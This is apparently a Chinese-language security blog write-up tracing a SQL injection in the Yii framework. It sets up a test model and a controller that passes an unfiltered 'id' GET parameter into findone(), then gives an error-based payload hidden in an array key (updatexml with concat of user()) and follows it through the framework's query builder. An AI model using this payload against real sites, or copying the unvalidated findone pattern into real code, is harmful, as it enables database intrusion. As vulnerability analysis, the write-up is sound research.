YII框架SQL注入分析
影响版本
修复补丁
判断是否存在相应字段

分析版本
流程跟踪
首先创建一个model
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php namespace frontend\models;
use yii\db\ActiveRecord;
class Test extends ActiveRecord { const STATUS_INACTIVE = 0; const STATUS_ACTIVE = 1;
public static function tableName() { return '{{user}}'; }
public static function getDb() { return \Yii::$app->db; } }
|
这个模块对应的就是user
表
创建对应的控制器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php namespace frontend\controllers;
use yii\web\Controller; use yii\db\Query; use frontend\models\Test; use Yii;
class TestController extends Controller{ public $enableCsrfValidation=false; public function actionIndex() { $id = Yii::$app->request->get("id"); $result = Test::findone($id); var_dump($result); }
}
|
payload
1
| id[updatexml(1,concat(0x7e,user()),1)%23]=1
|
追踪
进入findone
方法

跟进findByCondition
方法

跟进isAssociative
方法
此方法用来判断key
是不是字符串

可以看到这里不存在过滤的方法,直接进入了andWhere

执行完成之后,进入one
方法


陆续跟进到build
方法

跟进到buildWhere
方法

调用buildCondition
方法

通过createConditionFromArray
处理数组

不存在$condition[0]
,直接返回原数据

回到buildCondition
方法调用buildExpression
方法
跟进build
方法完成拼接

最终生成的SQL
语句为

完成注入
end
看了看也没啥其他的好用的注入
遇到类似的cms
只能找拼接了